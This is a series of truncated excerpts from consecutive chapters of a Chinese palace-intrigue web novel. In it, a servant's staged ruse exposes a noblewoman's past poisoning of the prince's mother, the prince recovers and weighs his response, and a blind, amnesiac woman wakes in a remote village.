岂料陆天骄竟忽然除去了满心惶恐,随即一脸和颜悦色地轻笑了起来,并当即矢口否认道“是啊,不知道程将军觉得,天骄与那戏班子里的伶人相比,演技如何呢?”

闻此,程良不禁即刻朝其瞪起眼来,一脸的诧异。

“贱人,休要在此胡言乱语,颠倒是非黑白,还不赶快下跪对太妃娘娘叩首认罪。”忽然,殿外传来张嬷嬷一厉声斥责。

闻声,殿内所有人都不约而同地将目光朝其转了过去。

只见张嬷嬷一脸惨白妆容,手里提着一盏绿色灯笼,身着方才的一袭绛紫色宫装,缓缓迈步进入大殿里来。其一言一行,一举一动宛若太妃真身一般,不亏是用心服侍了太妃一辈子的老人,竟能如此逼真的模仿太妃的音容相貌。

“还不下跪,更待何时?”张嬷嬷进来一立定,便朝陆天骄怒道。

“张嬷嬷此话何意?虽说您是秦王府的老嬷嬷,太妃娘

娘生前身边最亲近的人,可怎么也还轮不到我陆天骄对你屈膝下跪吧?”陆天骄理直气壮道。

“陆大小姐,你莫要以为你父亲陆贤对秦王殿下忠心耿耿,深受殿下敬重。如此,你便可以在秦王府里狐假虎威,任意妄为,伤人性命?如此在秦王府里兴风作浪,还不该对太妃娘娘俯首认错吗?”张嬷嬷道。

陆天骄抬手顺了顺鬓间的乱发,轻笑一声,缓缓道“狐假虎威,任意妄为,伤人性命?在秦王府里兴风作浪……看来,张嬷嬷真是抬举天骄了。天骄虽一生下来就没了母亲管束,却幸好出生在了书香门第,自幼受到父亲严苛教导,又怎敢如此到处肆意,胡作非为呢?”

果然不失为一朵极其顽强的白莲花,陆天骄不愧是陆天骄,今日被整个秦王府的人如此费力合计着‘瓮中捉鳖’当场揭发,竟转身这么快便恢复如初,完全一副像是什么事都没发生过的模样。

闻此,张嬷嬷强压住心头的怒火,亦对其笑了笑,一口气吹灭了手里的绿色灯笼,走过去将其放在角落里。继而对一旁的俩名侍卫吩咐道“去把大殿里所有的灯都点亮吧,越亮越好。今夜,怕是整个秦王府都沸腾了,想必秦王殿下也是不得安眠的。没想到,这陆大小姐,竟还暗藏着伶人的潜质。那就让病榻上的殿下也好好听听,好好看看今夜里这位陆大小姐的这出戏,她要如何唱下去,如此也好。”

侍卫面面相觑了片刻,又朝程良望去,程良对其点了点头,侍卫方才分开各自径自过去依次掌灯。

瞬时,昏暗的大殿里,到处恢复了一片灯火通明,将殿内每个人脸上或多或少尚还残存着的些许喜怒恐慌亦或是释怀惊讶等各种表情,顿时都照的真真切切,毫无一丝隐藏。

而病榻上的男子,那张无论何时都棱角分明、冷峻威严、又无比尊贵的一成不变宛若天人的面孔之上,双眸依然紧闭着,只是那脸上的一片煞白之色,却似是已经恢复了许多。

张嬷嬷远远地朝其凝视了片刻,见此似是方才有些安心了下来。于是,便缓缓踱步到自己方才在外面站立过的那扇窗边的一盏一直燃烧着的铜烛台边上。

她立在那里,默默地注视着烛台上的红色烛油沿着铜架缓缓滑落,未及多远便又凝固住,层层叠叠,虽也是一朵娇艳的新烛花,却样子狰狞,恍若现在眼前的这

第二百二十一章:识破秘术已晚矣

张嬷嬷见那青袍老道儿给自己的乃是一道无字灵符,拿在手里端详了半天,只笑话那老道儿说“人家的神符无论是否灵验,至少都是画满了各种奇异图案做足了功夫的,莫非你是个不识字且还极为慵懒的道长,想必道行肯定尚还浅着吧。”

然那老道儿却似一点也不生气,反而至此捋了捋那白须便端着一脸笑意,转身离开了,走的时候嘴里还神神叨叨着一句“山不在高,有仙则名。水不在深,有龙则灵。万般皆是缘,信则有,不信则无。”

一念至此,也不知道自己方才一时情急,将那灵符给了乐太医来胡写胡画作道具,现在还有没有效。

即是自己如今已然走投无路,真的是拿这朵人面兽心顽强的白莲花没了主意,亦是‘临时抱佛脚’。半信半疑地抱着最后一点点希望,她在心里默默的祈祷着,如果这次真能让秦王府的主子睁开眼来,看清楚这个假面女子的庐山真面目,她愿意折寿十年,哪怕就是死也无憾了。

于是,她赶忙端起那盆水来朝着病榻上的轩辕翰身边走去。

就在这时,陆天骄见此不禁一怔,忙疾步上前去伸手拦在其面前,然眼神似是仍有些怯怕地窥探了一眼张嬷嬷捧在身前的水盆,质疑道“这水有问题,你想用它做什么?”

张嬷嬷冷哼一声,瞪着眼睛朝其冷冷地不屑道“我老婆子想做什么,还轮不到你一个秦王府的外人,一个杀人凶手来过问。走开!”

不料陆天骄竟出人意料地忽然亦扬声起来,霸道阻止说“不可以!”

见其情绪似是忽然又激动了起来,张嬷嬷方才低头看了一眼水盆中漂浮着的那幅禅院走水图。没想到,她仅仅是跟乐太医大致描述过几句,那乐松竟能将其绘制的如此逼真,就仿佛是自己亲眼见到过一般。

稍作迟疑,张嬷嬷缓缓抬起头来故意试探道“不可以?什么不可以?这可是用神符浸泡过的圣水,是可以让殿下得以清醒过来的神水,怎么就不可以了?莫非…莫非八年前,你害死太妃还不够,今日亦想要殿下的性命?难怪你至今都还未服侍殿下擦拭双目,你是不是怕他醒来知道了你的丑陋面目,还是…你到现在…还是太后的人?”

闻此,陆天骄即刻暴跳如雷,激动地道“胡说,简直是一派胡言,我怎么可能会害翰哥哥。就算整个全世界的人都会伤他,我陆天骄也不可能会伤翰哥哥半分,更又怎么可能会是太后的人?自那以后,我便……”

说着说着,陆天骄顿觉自己一时激动,竟失了言,便赶忙低头收住了声,再次缩了起来愣在原地里再也一动不动地安静下来。

此情此景,在场所有人的目光无疑都惊讶连连地落在了她的身上。

张嬷嬷站着与其四目相对了半晌,见她已然是此地无银三百两,早已不打自招,便兀自迈步径直朝着榻边走去。

陆天骄猛一抬头欲言又止,竟还想上前去栏,不料被殿内的程良一个眼神令下,那两名侍卫直接大步上前架起了她的两只细嫩胳膊,极轻松地便将其朝后拖到了放置水盆的雕花木架旁窗边上。

她一边挣扎着,一边道“放开我,你们放开我……”然一撞上程良那眉头紧锁、一脸严肃、满是愤怒的眼神,便即刻敛声停了下来,并朝其似是即便在此时,依旧极不福气的冷哼了一声,撇过了头去。

只见张嬷嬷一走到榻边,便拿起一条洁白柔软的布巾来将其仔细折叠整齐。接着,又捏起一端来在水盆里完全浸湿透了,拿出轻轻挤掉其多余的水分。

这才按照青袍道长所言,一面重复不断地在双目紧闭着的轩辕翰双眼周围轮流打圈擦拭着,一面嘴里放低了声音虔诚地喃喃念叨道“真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生……”

就这样,不知道究竟重复着念叨了多少次,张嬷嬷终于停下了手里的动作,亦将双眼缓缓睁了开来。

然当她一睁眼便着急地看向眼前病榻上的人脸上时,却当即露出了一脸的灰心与绝望。因为,在那张尊贵似是天成的面孔上,其一双眼睛至今依旧还是深深地昏迷着,与之前相比并无半点不同,根本没有如那青袍道长所言,在她按照其嘱咐帮其以此圣水拭目并默念此咒17遍后,府中的贵人即刻便可得以苏醒过来。

而此时,并不止张嬷嬷一人,就在其开始默念心咒时,周围所有的一切,就连空气仿佛都凝固静止了下来。此刻,殿内的所有人全都屏气凝神地诚心祈祷和期待着这一奇迹的出现。

林月轩寝殿内外,一片寂静。

忽然,陆天骄将那眼巴巴的眼神从病榻上的人脸上收回,忿忿不平地炸出一声冷笑“哈哈哈哈哈…怎么样?我就说了那水有问题,你非要用,这下总该相信本小姐的话了吧。那根本就是那些整日里不务正业故作玄虚者,存心不良想要骗人钱财的鬼把戏而已,只有傻瓜才会信。”

虽说她的心里也很期望这道所谓的灵符,真的能让她的翰哥哥清醒过来,可事实摆在面前,她便又开始肆意张狂起来。

闻此,所有人都不约而同地皱眉怒目瞪向了她,只有张嬷嬷依旧还在怔怔地注视着轩辕翰的眼睛,似是仍不甘心,不愿放弃地等待着。

就在这时,一股夜风透过陆天骄身旁的窗户吹了进来,将贴在窗户外面角上的一张白纸吹落了下来,正好掉在陆天骄的脚下。

陆天骄看到,不禁秀眉微蹙了一下,顺势弯

下腰去将其捡拾了起来,身旁众人见了皆都心里咯噔一下,瞬时亦随之变得紧张了起来。

第二百二十二章:曲终人散,万念俱灰

闻此,张嬷嬷叹声道“陆小姐果然是陆小姐,聪慧非同一般。那就是说,陆小姐现在是亲口承认了今夜在这个寝殿里自己所说的一切了。”

“哈哈哈哈哈……是,本小姐承认,本小姐今夜所说…全部属实。可那又怎样?这秦王府的主子是翰哥哥,可不是你们这些奴颜婢膝之辈。你们说的,和本小姐说的,你猜…他到底会选择相信谁?”陆天骄仰头大笑一声,继而侧身附在张嬷嬷的耳边肆意地说道。

张嬷嬷一脸严肃,郑重其事地对其厉声喝道“跪下,跟秦王府的主子叩首领罪!”

“秦王府的主子?不知你是说…已经昏迷多日不省人事的翰哥哥,还是八年前早已故去的太妃娘娘,亦或是现在我眼前你这个挂着羊头卖狗肉的大胆奴才?”陆天骄这话说的嚣张放肆至极。

而就在这时,大殿里忽然传出一男子的沉声“跪下!”

“谁在说话?”闻此,陆天骄赶忙转身朝着程良及侍卫身边望去,却只见程良和俩名侍卫忽然间似是极为郑重地俯身跪了下来,紧接着大声参拜道“属下参见殿下!”

“殿下?”闻此,陆天骄却顿时怔愣在原地,似是一动也不敢动,整个人甚至还有些瑟瑟发抖着。

待至听到榻上之人依稀发出些许轻微的声响,乘着其分神之际,张嬷嬷一把挣脱掉其束缚,忙上前去终于将早已清醒过来的轩辕翰扶起身来坐到榻边,侍候其穿好鞋袜。

正欲起身行礼,轩辕翰忙伸手将其一把拦住,却定睛对着陆天骄的背影震怒呵斥道“本王叫你跟张嬷嬷跪下,你是不是没听到?是不是还要本王再说一次?”

这一几近震耳欲聋的大声斥责,似是方才将如同尚还处在梦境一般中的陆天骄,终于拉了回来。

随即一转身便朝向榻边人奔去,故作一脸委屈道“翰哥哥,你醒了,你终于醒了。你可要为天骄做主啊。秦王府的这些胆大包天的奴才,乘着你重伤昏迷,假传你的命令不许任何人踏入林月轩内半步。天骄费了九牛二虎之力,方才进来这大殿里。可夜里,他们竟然合起来装神弄鬼,吓唬天骄,还诱骗天骄服下迷药,产生了幻觉,胡言乱语。你看,这些,这些都是他们的罪证,还有案几上那天骄已饮尽了的花茶茶碗……”

然未及陆天骄将话讲完,轩辕翰却依旧还有些孱弱地忿忿道“住口,休要在此继续颠倒是非黑白,胡言乱语。你若是平日里心中坦荡,又怎会受这些雕虫小技影响?”

陆天骄一脸惊诧,道“翰哥哥,我……”

这时,跪在大殿中央的程良开口禀道“启禀殿下,是陆小姐今日乘着属下进宫之际,居心不良潜入杏林阁里窃取了曼陀罗,加进张嬷嬷的药汤里,

若不是乐太医及时发现,给张嬷嬷服下解药,张嬷嬷年事已高,怕是早已经……属下等人只不过是‘请君入瓮,以其人之道还治其人之身’不想,竟查出了八年前太妃的死……”

“你胡说,你血口喷人,我哪里有窃取过什么曼陀罗,我是好心见到张嬷嬷与我父亲有相同的病症,所以用我父亲的秘方为她到杏林阁里抓了药。谁想她尽然恩将仇报,如此待我?”陆天骄一口咬定道。

“哼,早就料到你会这么说的,都进来吧。”程良一脸淡定自若地朝着殿门口唤了声道。

只见一前两后,进来一男两女,一入大殿内便极为恭敬地朝着榻边端坐着的那位不怒自威的男子叩首行礼。

“老臣乐松,参见秦王殿下。”

“燕栖阁女婢,参见秦王殿下。”

轩辕翰朝其三人正色道“有本王在此,不许你们胡言乱语,任意栽赃陷害,但更不允许你们顾念旧情,故意包庇。”

三人齐声道“是……”

乐太医先开口禀告“老臣作证,程将军方才所言全部属实。殿下请看,这便是陆小姐给老臣抓药的方子,方子本身是没有问题的。可她却乘着老臣抓药离开药房之际,私自取走了一些曼陀罗,将其加入了其中一副里,自己煎好了这副药给张嬷嬷服下。许是陆小姐做贼心虚紧张大意了,这个药罐里很明显有曼陀罗的残渣,老臣原是看到张嬷嬷在老臣处服药用过的药碗里有曼陀罗的残迹……不想老臣正在思量,陆小姐却忽然又返回来杏林阁里抢了老臣手里的药碗,将其洗的干干净净。”

话音刚落,燕栖阁那瓜子脸婢女亦将手中的茶盘奉上,道“秦王殿下,这是程将军带人在燕栖阁里搜出来的药渣。奴婢们下午闻到阁中有药味儿,便寻见陆小姐亲自动手在煎药,奴婢们说要帮她,可她说什么都不让。奴婢们以为是她自己有什么隐疾,不想让咱们知道,便也就走开了,请秦王殿下明察。”

至此,程良忙起身来将乐太医和婢女所呈上来的所有证物拿到轩辕翰面前给其查看。

见此,轩辕翰一脸诧异,竟忽然咳了起来,道“你还有什么话说?”

陆天骄一脸无措,再也装不下去了,支支吾吾道“我…我……”

“如此说来,这里并无一人冤枉你了。”轩辕翰竟淡淡地说道。

见其垂首无语,显然已无话可反驳的默认了,轩辕翰便抬眼看了看大殿里的众人,正色道“除了张嬷嬷和程将军以外,其他人都退下吧。今夜发生在秦王府里的事情,

第二百二十三章:自此之后,再无所惧

庄严肃穆的寝殿内,曲终人散,一切从未有过的喧嚣终得以谢幕。此时,又恢复了以往的寂静与冷清。

就着夜空中皎洁宁静的一片温柔月色,徐徐轻风穿过殿内半开着的那扇窗户轻拂进来,似是在安抚着殿内主人此时波澜汹涌的心绪一般。

程良默默地从边上取来了一件云纹白袍替其细心披上,方才注意到主子在喷出一大口鲜血后,额角不知何时竟已渗出来点点汗渍,侧看其眼神似是也有些飘忽迷离着。

此时,他低垂着的面容上满是孱弱,却还是双手紧紧握拳强撑在榻沿上,不停地颤抖着,就连呼吸一时间仿佛也都变得急促了起来……

见此,程良着急担心地道“殿下可是身感不适?属下这就去找乐太医过来。”

正欲转身,岂料轩辕翰突然伸出支撑在榻沿上的一只修长骨节分明的大手,将其手臂紧紧地捉住,却依旧垂首着不言不语,似是在隐忍着此时身体上极为难忍的一种痛楚,又似是在孤独地一人承受并努力平复着什么事所带给他心间的又一巨大重创一般。

偌大的寝殿里,主仆俩人就这样静静地不知一起沉默了多久,轩辕翰终于缓缓松开了那只紧附在程良臂上的手,只见程良顿时似是极为不适地按了按被他捉过的地方。

轩辕翰这才抬起眼来,依旧冷冷地开口沉声了句,道“不碍事,本王方才只是一时气血攻心而已,休息会儿便没事了。”

“那殿下就躺着好好歇会儿吧,最近发生了太多的事,可无论如何,殿下还是得先把身子养好才是。”见其似是终于缓过了神来,程良却还当真以为是他伤势骤发,才至如此。一边说着,便急急弯下了腰去,伸手欲替其褪去鞋袜。

不料轩辕翰却伸手急急一把将其挡住,一手抚在胸口,随之缓缓舒了口气,继而将目光忽然移向程良的脸上,异常坚定地问道“云儿呢?有没有她的消息了。”

轩辕翰已醒,程良自是有很多事情要向他汇报,比如:城南之事后来如何了?还有今夜关于太妃仙逝的真正原因及所牵涉出来的太后与璟帝的阴谋究竟是什么?那陆天骄又该如何处理?当然,还有方才燕栖阁的那个婢女跟自己所交代的关于东宁国的阴谋,等等等等……

可显然,程良怎么都没有想到,昏迷了那么久终于清醒过来的主子,方才那么不清不楚地急于平息掉今夜所发生的事,几乎没有任何处罚便遣去了殿内所有人。而此时,竟先独独只是关心起来衣上云的消息。

这个主子,很显然早已经不是以前那个‘先天下之忧而忧,后天下之乐而乐’的唯只心怀西秦大地安危及其子民安居乐业的英明王爷了。

甚至于,在今夜里得知了其母

妃当年的突然薨逝,并不是一场意外,而是遭人悉心策划的一场阴谋所致,他竟亦能如此淡定而不闻不问。

程良怔怔地望着此时自己感觉陌生极了的主子的脸许久许久,俩人四目相对,程良一脸诧异,可看着他那始终都一如既往的一脸决绝而坚定的眼神,似是此时绝不容他有丝毫回避和置喙,但他又究竟该如何回答他呢。

半晌后,轩辕翰看着他的眼眸似是变得越来越深,程良终于再也承受不住其眼神的一再逼问,最后只似是亦极为不忍心地断断续续反问道“殿下,您真的相信衣姑娘…她还活着吗?……坠崖的当天夜里,那可是霹雳漫天…疾风骤雨…大雨滂沱啊…湖水又是…又是那样冰冷,还有湖滩上的那块被鲜血染红了的岩石……”

闻此,轩辕翰终于收回了视线,可刚刚似是方才有些平复下来的眉头却又骤然蹙起,望向殿内一处沉默了许久,沉声缓缓道“本王相信,她一定会活着,一定会好好活着。因为,她答应本王的事,都还没有做。秦王府的大门,她还从未名正言顺地踏入过。她是本王的人,有我轩辕皇族列祖列宗的庇护,是生是死,只有本王说了才算,没有本王的允许,她绝对死不了,也没有任何人敢夺去她的性命,就算是天…也不可以。”

看到轩辕翰竟对衣上云如此渺小的生还几率如此执着,程良不禁忧心道“可是万一呢,毕竟那夜里……”

“住口,没有什么万一,没有……”岂料话刚一开口,轩辕翰便顿然起身,将脸侧了过去,对着程良发出从未有过的一震耳欲聋几近是疯狂的厉声,将其剩余话语死死挡了回去。

显然,轩辕翰此时嘴上说是这样说的,可心里又怎能不怕,其实,他害怕极了,怕是只有他自己才知道他内心里实际上有多恐惧,多着急,多在意这个女人。

这次,就连自己一个身怀武艺的人都伤的如此之重,更别提衣上云了。她只不过是个手无缚鸡之力的弱女子而已,然此时程良在他耳边一次又一次提到的,其每一句又何尝不皆都是不争的事实呢。

&nb

第二百二十四章:未到打草惊蛇的时候

“这几句话,不像是出自经书,真会有如此之大的力量?‘真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生’是什么意思呢?”程良亦跟着其主子念叨了一次,却是一脸茫然。

半晌后,轩辕翰似是终无一丝头绪,于是妥协说道“算了,想我们主仆二人今夜也是猜不出什么来的。这话出自张嬷嬷之口,不如,明日你找张嬷嬷问问,看她这话到底是打哪儿听来的?问问她会不会知道些什么?”

然程良闻之,却顿时露出一脸的难色来,不禁挠了挠脑袋,吞吞吐吐道“殿下…这个…属下可能…有点不好办?”

“不好办?只不过是问句话而已,这有什么不好办的?”轩辕翰双眼抬起一怔,继而转过身来,朝着程良一脸匪夷所思道。

程良抿了抿嘴,一咬牙道“殿下您应该知道,张嬷嬷她是忠心耿耿跟了太妃一辈子的人。八年前太妃娘娘的死,除了张嬷嬷,我们所有人都把它真的当成了一场纯粹的意外了,不是么?殿下是太妃娘娘遗留在世上唯一的血脉,如今,她就是担心殿下您也会像太妃娘娘八年前一样,一觉睡去便再也醒不过来,这才乘着殿下在弥留之际,设计了今夜所发生的这一切,还险些被陆小姐的药差点毒死。不管殿下能不能听到,亦或能不能看到,她只想要当着殿下的面,让真正的凶手浮出水面,亲口承认其罪责,并付出应有的代价。如此即使殿下真的…也不至于稀里糊涂地去见太妃娘娘。可殿下您呢?如若殿下没有清醒倒也罢了,既然殿下已经清醒,难道不该好好追究此事么?殿下您一向奖惩分明,可今夜却为何执意只教陆小姐对张嬷嬷叩首谢罪,您明知道张嬷嬷要的并不是这个。这难道不是殿下您在变相地袒护着陆小姐么?难道就只因为她是陆贤的女儿,您便对其有所忌惮?想必此时的张嬷嬷一定心如刀割,寒心极了。怕是她对殿下您早就已经失望透顶了?试问殿下,如此,她还会理会属下么?”

程良似是好不容易鼓足了很大的勇气,几乎是一口气竟忿忿道出如此一大堆话来,因为他着实不能理解主子为何如此包庇一个杀人凶手。

然轩辕翰却立在一旁始终没有反驳半句,只是不知何时,他却早已悄悄地背过身去,闭起了那对不怒而威,寒光四射的星眸来,似是陷入了一片沉沉的思索之中。

许久后,他忽然深吸口气,缓缓将眼眸再次睁开,却反问程良道“其实,我们大家心底里都很清楚,真正的凶手并不是陆天骄,她只不过是一时贪玩,遭人利用了而已……”

不想轩辕翰话还没说完,程良便急急开口将其打断,忿忿不平地大声气道“可难道她就一点儿责任也

没有了吗?”

轩辕翰亦扬声朝其怒吼道“她当然有错,可现在还未到打草惊蛇的时候。无论是处置陆天骄,哪怕就是让整个陆氏满门来为母妃的死谢罪,对于本王来说,都是易如反掌。但是…你有没有仔细想过,处置了她,或许本王就刚好中了某人的奸计了。”

程良闻此,一脸惊讶与疑惑道“打草惊蛇?中了某人的奸计?”

轩辕翰吐了口浊气,道“这个世上,有那么多人,太后为何却偏偏选了她来做这件事?难道一切都刚好只是巧合吗?当年,她已经是太后了,却还是千方百计地想要将本王母子赶尽杀绝。以此可见,太后是何等的心狠手辣之人。而陆天骄帮她做了如此见不得光的事,她却还能让她活到现在。尤其让人不解的是,自那以后,她们之间却似是陌路一般,再无了任何瓜葛……如果本王没有猜错的话,她一定还会再找她的?”

程良这才恍然大悟道“殿下的意思是,陆小姐从八年前开始,便已经成了太后安插在秦王府的一枚棋子。而且是不到万一,不轻易动用的那种?…太后之所以选陆小姐亲手来做这件事,一是因为太妃娘娘对陆小姐这个外人疏于防范,二是太后她知道只有陆小姐才能自由出入得了秦王府。让她去做这件事,太后亦以此而留下了陆小姐的把柄于手,日后便于用来威胁她再次就范。可她却万万没有想到,她深谋远虑,精心所设计的这一切,竟然被张嬷嬷给揭发了……所以如果我们现在突然处置了陆小姐,太后便会对秦王府有所警惕,日后便将漏不出马脚来了……太后可真是不简单啊,可她接下来的计划到底是什么呢?”【…~!#免费阅读】

程良此时所问的,也正是轩辕翰至今思之不得其解的。

跟着主子一起沉默思量了许久,程良忽然似是想起了什么,不解地道“可是属下不明白,据陆小姐所说,当年听到太后所说的是,皇上并不赞同她对秦王府下手。却为何她还是要一意孤行,对太妃下手呢?”

闻此,轩辕翰一边回忆着,一边缓缓踱步到殿中央的案几边坐下,对其幽幽道“父皇在世时,盛宠母妃,自古后宫与前朝本就息息相关,故此朝中大臣亦因此而多以母妃靠拢。然太后既然得位,为了顾忌其德,自是不能对大臣们下手,可又忌惮太多大臣们的势力对其来之不易的皇权所造成的威胁。太后认为,本王年幼,若是没了母妃的庇护,自会失去这些大臣们的支持。所以,只要她除去母妃,就等于折断了本王的羽翼。以前,本王还真以为他们如此善待本王,可如今,本王才算是真正明白了……”

“可他们却没有想到,殿下您不但成功地

第二百二十五章:寻高僧徒劳而返

,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。”

“你是谁?你是谁!你是谁……”

老妇人忽然闻此,猛地睁开了眼睛,怔怔地凝视着床上的女子,一时间惊呆了。

怔愣了半晌后,看到女子最后终于缓缓平静了下来,止住了声,又继续沉沉地睡了过去。她方才缓过神来颤颤巍巍地口中喃喃道“魏明轩?殿下?秦王?还是昊儿?亦或是玥儿?……这听着应该是她遇难前所说的一小片段,她让他松手,不然会没命的。不,不可能是昊儿,他还那么小。玥儿又是个女孩子,更不会是她。”

“那便只能是…翰儿,她竟与翰儿相识……”念及此,老妇人顿时朝其瞪大了眼睛,一脸的不可思议。

多年以后,当再次从另一人的口中,尤其是从眼前的这名女子口中,听到关于西秦皇族人的消息时,老妇人不禁顿时潸然泪下了起来。

“咚咚咚”忽然,一阵紧急的叩门声从院子里传了进来。

老妇人赶忙拭了拭眼角的泪水,起身缓缓踱步出门去。

刚一到门边上,门外便传来似是一铜铃般的清脆声音唤道“老夫人,快开门啊,我是欢儿。”

老妇人闻之,一时间顿足不知想到了什么,只片刻后忽然一脸欣喜地大惊一声道“欢儿,是欢儿将玄空大师请回来了,太好了,真是太好了。”

似是此时太过于激动,当再次起步时,竟险些被自己给绊倒了,继而赶忙伸手将门打开来。

然开门后,却顿时现出了一脸惊愕,她急急越过欢儿娇小的身子,朝其身后四处仔细张望着。

片刻后,正欲开口说话,却被欢儿一脸泄气

地抢先开口道“老夫人您别找了,那个什么玄空大师根本就没来。”

岂料多年以来,一向待人和蔼可亲的老妇人,竟第一次如此沉不住气地朝欢儿扬声呵斥了起来,道“胡说,没来,这怎么可能呢?当年,是玄空大师亲自带老身来到这个与世隔绝了的桃花店村里落脚。临走的时候,还曾经对老身千叮咛万嘱咐,要老身切记,待到紫芒现世于此地之际,务必再往城隍庙里寻他相聚于此为其解除封印,解救众生。如今紫芒已然现世,他怎么可能不来呢?”

欢儿此时却似是并顾不得主人的教训,只觉天还没亮便开始,至今已赶了许久远路的自己,嗓子干的似是都快要冒烟了。

她一踏进门来,便蹙眉径自朝着屋里急急奔去,老妇人跟在其身后不停地说着。

欢儿进了屋,兀自倒了一碗水将其一口气闷下,这才感觉自己似是终于又活过来了。

继而用袖子抹了一把嘴角的残渍,方才近身上前扶起老妇人的胳膊,将其按着坐下来在案几边,一边捉起自己的两个小拳头帮其捶背,一边说道“老夫人别急,您让欢儿喘口气再慢慢说嘛。”

闻此,老妇人方才吐了口气,似是有些缓和了下来,道“到底怎么回事?”

欢儿一边捶背,一边回忆着幽幽道“是这样的:昨日午后,欢儿到了城南城隍庙以后,有个僧人只告诉欢儿说,玄空大师云游四方去了,不知何时才能回来。可欢儿话还没说完,他们便就这样把欢儿丢到了一边……”

欢儿话未说完,老妇人便再次怒声责怪道“你难道没跟他们说你是打哪儿来的吗?”

欢儿忙道“哪里来得及说啊,他们只说是什么秦王府的秦王妃要到庙里上香,为秦王殿下祈福,庙里的僧人都要为此而去准备。”

“秦王府?秦王妃?…秦王已经大婚了?”老妇人闻此,心里忽然怔了一下,惊了一声道。

“听说秦王妃是当今皇上赐婚的,身份极其尊贵,是富甲一方的东宁国永乐公主呢!”欢儿顿时一脸羡慕道。

第二百二十六章:重生,海棠花下谁人家

“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生……”

就在老妇人正半眯起眼睛独自细细揣摩这句似是更颇具深意的话时,一旁不远处小床上昏迷的女子不知何时竟已悄悄睁开眼来,在床上端坐起。

立在老妇人身旁,不停挥动着两只小拳替其捶着背的欢儿,眼睛一撇,顿时被吓得朝其瞪大了那双圆溜溜的大眼睛,嘴巴一张一张地竟说不出一句完整的话来“老夫人,醒…醒…醒来了,醒来了……”

侧身而坐,尚且还陷在自己一片深思中的老妇人闻声,厉声呵斥道“欢儿莫要吵闹,老身醒着呢,老身只不过是在思量那小沙弥的话而已,‘真龙’‘凤凰’…老身怎么觉得这句话,好像是在说俩个人似的……”

岂料欢儿见主人一动不动,竟忽然停下了手里的动作,不停地拍起老妇人的肩膀来,依旧激动不已地道“不是,不是,是…是…是那位姑娘醒来了……”

“什么?”老妇人闻之,这才急急回过神来转头朝其看了过去,一时间竟踉踉跄跄地起身来快步朝着床上的女子身边奔去。

只见那女子正端坐在床上,一只手吃力地支撑着自己虚弱的身子,另一手则轻抚着脑袋上的伤处,许是伤口还尚未愈合的缘故,她脸上的表情明显似是有些隐忍痛楚和凝重的样子。

“姑娘,你终于醒了!”老妇人一近身过去,便一脸欣喜地问道,欢儿亦紧随其后,露出一脸灿烂的笑容。

不想那女子似是思索片刻后,忽然将抚在伤处的那只手缓缓放下,接着却一连同时炸出了几句“你是谁?这里是哪儿?发生了什么事?现在是夜里吗?为什么这么黑?怎么到处连一点儿灯光都没有?”

闻此,主仆俩顿时四目相对,你看我,我看你,都露出了一脸惊愕,接着又一起望了眼外面白花花的一片阳光,再次面面相觑了起来。

半晌后,只见老妇人那刚刚舒展开来的眉头再次皱了起来,继而慢慢伸出一只似是有些颤抖的手掌来在女子的眼前晃了晃。

然却见女子那世间极其难得好看的一双凤眼,始终呆滞着似是没有丝毫反应。

见此,老妇人的心里不禁顿时咯噔一下。就连立在她身旁的欢儿亦是一时间里屏气凝神,一动不动了。

许久后,老妇人隐忍着心间的悲伤,深吸口气开口对其幽幽说道“姑娘,这里是西秦国的境界,一个名唤桃花店的小村落。村子里的人都叫我老夫人,你也与他们一道唤我老夫人吧,她是我家的丫鬟,叫做欢儿。我们也不知道你出了什么事?我们是前天一大早从村外的河边将你救回来的。还有…现在…现在不是夜里,而是白昼,是大清早,太阳已经升起很久了,你……”

闻此,女子的身子不禁忽然一抖,似是极为吃惊地扬声开口将老妇人的话挡了回去“什么?现在是白昼?那我岂不是……”说着,便一把掀开了覆在腿上的被子,兀自

跌跌撞撞地想要下床来到院子里的阳光下去亲自证实。

见此,俩人忙一起伸出手去捉住了女子的胳膊,欲将其紧紧按回去,不料女子的双手却极为灵活地迅速顺势一个反转,倒反将二人紧紧捏住,力气渐大,竟捏得俩人直生生地疼。老妇人不禁心中惊异,如此外表柔弱的一个女子,竟会有这般强大的力量。

于是,她紧忙开口劝阻道“姑娘万万不可,你头上的伤至今尚还未痊愈,情绪不可太过于激动。姑娘的眼睛和记忆,兴许只是因此伤而造成的短暂性失明和失忆而已,只要好好修养,假以时日,相信一定会恢复,再见光明的。”

“对对对,这一切,一定是姑娘头上的伤所造成的,一定会都痊愈的。”愣在一旁早已傻了眼的欢儿亦连连用力地点头附和着她的主人道。

闻此许久,二人方才缓缓感觉到附在各自手腕上的手劲慢慢松了下来,直至彻底撒手不再有任何丝毫反抗。

见似是女子已听进去了二人所言,终于渐渐安静了下来。老妇人这时方才吩咐身旁的欢儿道“姑娘既然已经醒了,你赶快去煮些清粥小菜来给她,她已经多日未食,想必一定是饿坏了。”

“是,欢儿这就去准备。”

欢儿退下,老妇人凝视了女子片刻,继续安慰她道“姑娘也不要太过于着急,我们将你从河里救起的时候,你的衣裳都已经破了……”

“我的衣裳破了……”说着,女子便急急往自己身上胡乱摸去。

老妇人见了,忙解释道“姑娘莫要担心,只是衣裳被挂破了而已,你的身体完好无恙。”

沉默了片刻,老妇人再次将苏醒后的女子周身细细地打量了一番,越看越像。左思右想终还是开口试探问道“姑娘…你真的不记得自己是谁了吗?比如,姑娘的芳名?是不是叫做‘若曦’?”

“若曦?”女子纳闷地重复了一句,却是一脸的一无所知之态。

见到女子已然对于自己过去的一切,全然不知。老妇人深深地叹了口气,心里道:苍天啊,你可千万不要跟老身我开这种玩笑。八年了,整整八年,老身等来的却是一个失忆又失明的守护者。这样的一个人,她真的还能担得起拯救苍生的艰巨而又神圣的使命么?

一时间里,一室寂静,似是连周围的空气亦都凝固了下来,令人窒息。

时间总是过的很快,转眼便到了黄昏时分。

村里的小河静静地流淌着,而元宵节的大街小巷上,则热闹非凡,家家户户都张灯结彩。过了今夜,这个年就算是彻底过完了。取而代之的,是充满新希望的一年的到来!

村子里,到处都是手里拎着各式造型的灯笼出门来游灯笼的天真孩童,晚饭过后聚集在村口准备一起‘走三桥’了。

这时,刚陪老妇人敬完香的欢儿,亦迫不及待地开口请求道“老夫人,若是没有其它什么事的话,欢儿可否带那位‘若曦’姑娘在村子里走

走,看看村里的夜景呢?”

